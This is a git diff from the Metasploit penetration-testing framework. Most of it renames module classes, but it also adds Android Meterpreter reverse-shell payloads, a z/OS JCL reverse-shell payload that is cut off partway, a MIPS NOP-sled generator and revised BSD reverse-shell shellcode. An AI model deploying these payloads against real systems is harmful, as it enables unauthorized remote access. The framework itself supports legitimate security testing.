Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb index 2822427e85..6ed96a1fab 100644 --- a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb +++ b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/vnc/winvnc_http_get.rb b/modules/exploits/windows/vnc/winvnc_http_get.rb index 26bb1236d2..b632b9c800 100644 --- a/modules/exploits/windows/vnc/winvnc_http_get.rb +++ b/modules/exploits/windows/vnc/winvnc_http_get.rb @@ -6,7 +6,7 @@ require 'msf/core' - class Metasploit3 < Msf::Exploit::Remote + class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/vpn/safenet_ike_11.rb b/modules/exploits/windows/vpn/safenet_ike_11.rb index 24c94599c7..d6edf7d1fe 100644 --- a/modules/exploits/windows/vpn/safenet_ike_11.rb +++ b/modules/exploits/windows/vpn/safenet_ike_11.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index 71d8a1c447..34e6991b3b 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::WinRM @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'WfsDelay' => 30, 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', - 'CMDSTAGER::DECODER' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep") + 'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_sleep") }, 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X86_64 ], diff --git a/modules/exploits/windows/wins/ms04_045_wins.rb b/modules/exploits/windows/wins/ms04_045_wins.rb index 4d7028f656..c47f62277d 100644 --- a/modules/exploits/windows/wins/ms04_045_wins.rb +++ b/modules/exploits/windows/wins/ms04_045_wins.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/nops/armle/simple.rb b/modules/nops/armle/simple.rb index a2ba2e1f56..4cbb9d0a81 100644 --- a/modules/nops/armle/simple.rb +++ b/modules/nops/armle/simple.rb @@ -15,7 +15,7 @@ require 'msf/core' # This class implements simple NOP generator for ARM (little endian) # ### -class Metasploit3 < Msf::Nop +class MetasploitModule < Msf::Nop def initialize @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Nop 0xe1a0b00b ] - if( random and random.match(/^(t|y|1)/i) ) + if random return ([nops[rand(nops.length)]].pack("V*") * (length/4)) end diff --git a/modules/nops/mipsbe/better.rb b/modules/nops/mipsbe/better.rb new file mode 100644 index 0000000000..1b2ad61986 --- /dev/null +++ b/modules/nops/mipsbe/better.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +### +# +# MixedNop +# ---------- +# +# This class implements a mixed NOP generator for MIPS (big endian) +# +### +class MetasploitModule < Msf::Nop + + + def initialize + super( + 'Name' => 'Better', + 'Alias' => 'mipsbe_better', + 'Description' => 'Better NOP generator', + 'Author' => 'jm', + 'License' => MSF_LICENSE, + 'Arch' => ARCH_MIPSBE) + + register_advanced_options( + [ + OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ]) + ], self.class) + end + + def get_register() + return rand(27) + 1 + end + + def make_bne(reg) + op = 0x14000000 + + reg = get_register() + offset = rand(65536) + + op = op | ( reg << 21 ) | ( reg << 16 ) | offset + return op + end + + def make_or(reg) + op = 0x00000025 + + op = op | ( reg << 21 ) | ( reg << 11 ) + return op + end + + def make_sll(reg) + op = 0x00000000 + + op = op | ( reg << 16 ) | ( reg << 11 ) + return op + end + + def make_sra(reg) + op = 0x00000003 + + op = op | ( reg << 16 ) | ( reg << 11 ) + return op + end + + def make_srl(reg) + op = 0x00000002 + + op = op | ( reg << 16 ) | ( reg << 11 ) + return op + end + + def make_xori(reg) + op = 0x38000000 + + op = op | ( reg << 21 ) | ( reg << 16 ) + return op + end + + def make_ori(reg) + op = 0x34000000 + + op = op | ( reg << 21 ) | ( reg << 16 ) + return op + end + + def generate_sled(length, opts) + + badchars = opts['BadChars'] || '' + random = opts['Random'] || datastore['RandomNops'] + nop_fn = [ :make_bne, :make_or, :make_sll, :make_sra, :make_srl, :make_xori, :make_ori ] + sled = '' + + for i in 1..length/4 do + n = nop_fn.sample + sled << [send(n, get_register())].pack("N*") + end + + return sled + end + +end + diff --git a/modules/nops/php/generic.rb b/modules/nops/php/generic.rb index 0498fd6817..272d16448c 100644 --- a/modules/nops/php/generic.rb +++ b/modules/nops/php/generic.rb @@ -12,7 +12,7 @@ require 'msf/core' # This class implements a "nop" generator for PHP payloads # ### -class Metasploit3 < Msf::Nop +class MetasploitModule < Msf::Nop def initialize super( diff --git a/modules/nops/ppc/simple.rb b/modules/nops/ppc/simple.rb index 73e0f0f4ed..8517b9dc33 100644 --- a/modules/nops/ppc/simple.rb +++ b/modules/nops/ppc/simple.rb @@ -15,7 +15,7 @@ require 'msf/core' # This class implements simple NOP generator for PowerPC # ### -class Metasploit3 < Msf::Nop +class MetasploitModule < Msf::Nop def initialize diff --git a/modules/nops/sparc/random.rb b/modules/nops/sparc/random.rb index 6227cf4c38..c88aaa81df 100644 --- a/modules/nops/sparc/random.rb +++ b/modules/nops/sparc/random.rb @@ -15,7 +15,7 @@ require 'msf/core' # This class implements NOP generator for the SPARC platform # ### -class Metasploit3 < Msf::Nop +class MetasploitModule < Msf::Nop # Nop types InsSethi = 0 diff --git a/modules/nops/tty/generic.rb b/modules/nops/tty/generic.rb index 26f9189a55..1e6a2b501e 100644 --- a/modules/nops/tty/generic.rb +++ b/modules/nops/tty/generic.rb @@ -12,7 +12,7 @@ require 'msf/core' # This class implements a "nop" generator for TTY payloads # ### -class Metasploit3 < Msf::Nop +class MetasploitModule < Msf::Nop def initialize super( diff --git a/modules/nops/x64/simple.rb b/modules/nops/x64/simple.rb index 765a636309..8af416a2d5 100644 --- a/modules/nops/x64/simple.rb +++ b/modules/nops/x64/simple.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Nop +class MetasploitModule < Msf::Nop def initialize super( diff --git a/modules/nops/x86/opty2.rb b/modules/nops/x86/opty2.rb index d45d90434e..609a618615 100644 --- a/modules/nops/x86/opty2.rb +++ b/modules/nops/x86/opty2.rb @@ -17,7 +17,7 @@ require 'rex/nop/opty2' # ADMmutate and from spoonfu. # ### -class Metasploit3 < Msf::Nop +class MetasploitModule < Msf::Nop def initialize super( diff --git a/modules/nops/x86/single_byte.rb b/modules/nops/x86/single_byte.rb index 3607aa361f..4b0242cbb0 100644 --- a/modules/nops/x86/single_byte.rb +++ b/modules/nops/x86/single_byte.rb @@ -13,7 +13,7 @@ require 'msf/core' # ADMmutate and from spoonfu. # ### -class Metasploit3 < Msf::Nop +class MetasploitModule < Msf::Nop SINGLE_BYTE_SLED = { @@ -106,7 +106,7 @@ SINGLE_BYTE_SLED = # Did someone specify random NOPs in the environment? if (!random and datastore['RandomNops']) - random = (datastore['RandomNops'].match(/true|1|y/i) != nil) + random = datastore['RandomNops'] end # Generate the whole sled... diff --git a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb index a1b09fcc1c..7e48e83f2d 100644 --- a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 264 diff --git a/modules/payloads/singles/aix/ppc/shell_find_port.rb b/modules/payloads/singles/aix/ppc/shell_find_port.rb index 10f3ca4167..0b7e38ba16 100644 --- a/modules/payloads/singles/aix/ppc/shell_find_port.rb +++ b/modules/payloads/singles/aix/ppc/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 220 diff --git a/modules/payloads/singles/aix/ppc/shell_interact.rb b/modules/payloads/singles/aix/ppc/shell_interact.rb index 24832f647c..ac97edec4e 100644 --- a/modules/payloads/singles/aix/ppc/shell_interact.rb +++ b/modules/payloads/singles/aix/ppc/shell_interact.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_shell' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 56 diff --git a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb index 44c3fe9367..ef6c85201a 100644 --- a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 204 diff --git a/modules/payloads/singles/android/meterpreter_reverse_http.rb b/modules/payloads/singles/android/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..460461e9d4 --- /dev/null +++ b/modules/payloads/singles/android/meterpreter_reverse_http.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/android' +require 'msf/core/payload/uuid/options' +require 'msf/base/sessions/meterpreter_android' +require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' + +module MetasploitModule + + CachedSize = :dynamic + + include Msf::Payload::TransportConfig + include Msf::Payload::Single + include Msf::Payload::Android + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + + def initialize(info = {}) + + super(merge_info(info, + 'Name' => 'Android Meterpreter Shell, Reverse HTTP Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter shell', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_Java_Android, + 'Payload' => '', + )) + register_options([ + OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) + ], self.class) + end + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_http(opts) + end + + def generate_jar(opts={}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + opts[:uri] = generate_uri_uuid_mode(:connect, uri_req_len) + opts[:stageless] = true + super(opts) + end + +end diff --git a/modules/payloads/singles/android/meterpreter_reverse_tcp.rb b/modules/payloads/singles/android/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000..44ce3c83f9 --- /dev/null +++ b/modules/payloads/singles/android/meterpreter_reverse_tcp.rb @@ -0,0 +1,50 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'msf/core' +require 'msf/core/payload/android' +require 'msf/core/payload/transport_config' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/meterpreter_android' +require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' + +module MetasploitModule + + CachedSize = :dynamic + + include Msf::Payload::TransportConfig + include Msf::Payload::Single + include Msf::Payload::Android + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Android Meterpreter Shell, Reverse TCP Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_Java_Android, + 'Payload' => '', + )) + register_options([ + OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) + ], self.class) + end + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_tcp(opts) + end + + def generate_jar(opts={}) + opts[:stageless] = true + super(opts) + end + +end diff --git a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb index f4f42719c9..06b08fb63e 100644 --- a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 164 diff --git a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb index 1143cf23b8..1df2e6ee8d 100644 --- a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 128 diff --git a/modules/payloads/singles/bsd/x64/exec.rb b/modules/payloads/singles/bsd/x64/exec.rb index 150d96f356..973ae31ab4 100644 --- a/modules/payloads/singles/bsd/x64/exec.rb +++ b/modules/payloads/singles/bsd/x64/exec.rb @@ -15,7 +15,7 @@ require 'msf/core' # Executes an arbitrary command. # ### -module Metasploit3 +module MetasploitModule CachedSize = 31 diff --git a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb index c6a5ff3f38..6c0d2ee0fc 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 90 diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb index 9528c88233..cbfe962089 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 136 diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index 8d92cadcb6..d0076c8bbd 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 88 @@ -44,7 +44,7 @@ module Metasploit3 "\x0f\x05" +# syscall # "\x48\x97" +# xchg %rax,%rdi # "\x52" +# push %rdx # - "\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 # + "\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 # "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x10" +# pushq $0x10 # diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb index 368d6f9666..0c4d3612ff 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 105 diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb index fece7de959..98cf5036cf 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb @@ -7,9 +7,9 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule - CachedSize = 108 + CachedSize = 98 include Msf::Payload::Single include Msf::Payload::Bsd @@ -77,15 +77,13 @@ module Metasploit3 "\x5A" + # pop rdx "\x0F\x05" + # loadall286 "\x4C\x89\xE7" + # mov rdi,r12 - "\x31\xc0" + # xor eax,eax - "\x83\xc0\x5A" + # add eax,0x5a - "\x48\x31\xF6" + # xor rsi,rsi + "\x6A\x03" + # push byte +0x3 + "\x5E" + # pop rsi + "\x48\xFF\xCE" + # dec rsi + "\x6A\x5A" + # push +byte 0x5a + "\x58" + # pop rax "\x0F\x05" + # loadall286 - "\x31\xc0" + # xor eax,eax - "\x83\xc0\x5A" + # add eax,0x5a - "\x48\xFF\xC6" + # inc rsi - "\x0F\x05" + # loadall286 - "\x48\x31\xC0" + # xor rax,rax + "\x75\xF6" + # jne -0x8 "\x31\xc0" + # xor eax,eax "\x83\xc0\x3B" + # add eax,0x3b call + # call CMD.len diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb index 98ef6fb778..77b0e61099 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 81 diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index eee7aebbd9..d95199cebd 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -15,7 +15,7 @@ require 'msf/core' # Executes an arbitrary command. # ### -module Metasploit3 +module MetasploitModule CachedSize = 24 diff --git a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb index f8352a26de..ee7e1c55e2 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/meterpreter_x86_bsd' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb index 722c4f71f6..73af2e47f9 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_x86_bsd' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb index 51c42e0b2a..5e2b8ba269 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 73 diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb index 364b19f021..91287cd4a0 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 87 diff --git a/modules/payloads/singles/bsd/x86/shell_find_port.rb b/modules/payloads/singles/bsd/x86/shell_find_port.rb index 80f4aa6955..0cb7111680 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 60 diff --git a/modules/payloads/singles/bsd/x86/shell_find_tag.rb b/modules/payloads/singles/bsd/x86/shell_find_tag.rb index 389ff04691..7cec06f54b 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_tag.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_tag.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_tag' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 70 diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb index a1be7400f4..f7f2c2a538 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 64 diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb index 3de4c6b8ba..19d50fe386 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 96 diff --git a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb index 6de81667fc..40f238704a 100644 --- a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 90 diff --git a/modules/payloads/singles/bsdi/x86/shell_find_port.rb b/modules/payloads/singles/bsdi/x86/shell_find_port.rb index 2a1ba296ef..cbe48df2fa 100644 --- a/modules/payloads/singles/bsdi/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsdi/x86/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 77 diff --git a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb index 229632db3b..2fbd74f012 100644 --- a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 77 diff --git a/modules/payloads/singles/cmd/mainframe/generic_jcl.rb b/modules/payloads/singles/cmd/mainframe/generic_jcl.rb new file mode 100644 index 0000000000..a4afec614c --- /dev/null +++ b/modules/payloads/singles/cmd/mainframe/generic_jcl.rb @@ -0,0 +1,74 @@ +## +# This is a prototype JCL command payload for z/OS - mainframe. +# It submits the IEFBR14 standard z/OS program, which does nothing +# but complete successfully and return code 0. +# +# See http://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.ieab500/hpropr.htm?lang=en +# for more information on IEFBR14 +## + +require 'msf/core' +require 'msf/core/handler/find_shell' +require 'msf/base/sessions/mainframe_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + CachedSize = 150 + include Msf::Payload::Single + include Msf::Payload::Mainframe + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Generic JCL Test for Mainframe Exploits', + 'Description' => 'Provide JCL which can be used to submit + a job to JES2 on z/OS which will exit and return 0. This + can be used as a template for other JCL based payloads', + 'Author' => 'Bigendian Smalls', + 'License' => MSF_LICENSE, + 'Platform' => 'mainframe', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::None, + 'Session' => Msf::Sessions::MainframeShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'jcl', + 'Payload' => + { + 'Offsets' => {}, + 'Payload' => '' + })) + register_options( + [ + OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]), + OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]), + OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]), + OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]), + OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]), + OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"]) + ], + self.class + ) + register_advanced_options( + [ + OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]), + OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"]) + ], + self.class + ) + end + + ## + # Construct Payload + ## + def generate + super + command_string + end + + ## + # Setup replacement vars from options if need be + ## + def command_string + jcl_jobcard + + "// EXEC PGM=IEFBR14\n" + end +end diff --git a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb new file mode 100644 index 0000000000..d4f0ef730f --- /dev/null +++ b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb @@ -0,0 +1,268 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# This payload has no ebcdic<->ascii translator built in. +# Therefore it must use a shell which does, like mainframe_shell +# +# this payload will spawn a reverse shell from z/os, when submitted +# on the system as JCL to JES2 +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/mainframe_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + CachedSize = 9048 + include Msf::Payload::Single + include Msf::Payload::Mainframe + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP', + 'Description' => 'Provide JCL which creates a reverse shell + This implmentation does not include ebcdic character translation, + so a client with translation capabilities is required. MSF handles + this automatically.', + 'Author' => 'Bigendian Smalls', + 'License' => MSF_LICENSE, + 'Platform' => 'mainframe', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::MainframeShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'jcl', + 'Payload' => + { + 'Offsets' => {}, + 'Payload' => '' + })) + register_options( + [ + # need these defaulted so we can manipulate them in command_string + Opt::LHOST('127.0.0.1'), + Opt::LPORT(4444), + OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]), + OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]), + OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]), + OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]), + OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]), + OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"]) + ], self.class + ) + register_advanced_options( + [ + OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]), + OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"]) + ], + self.class + ) + end + + ## + # Construct Payload + ## + def generate + super + command_string + end + + ## + # Setup replacement vars and populate payload + ## + def command_string + if (datastore['JOBNAME'] == "DUMMY") && !datastore['FTPUSER'].nil? + datastore['JOBNAME'] = (datastore['FTPUSER'] + 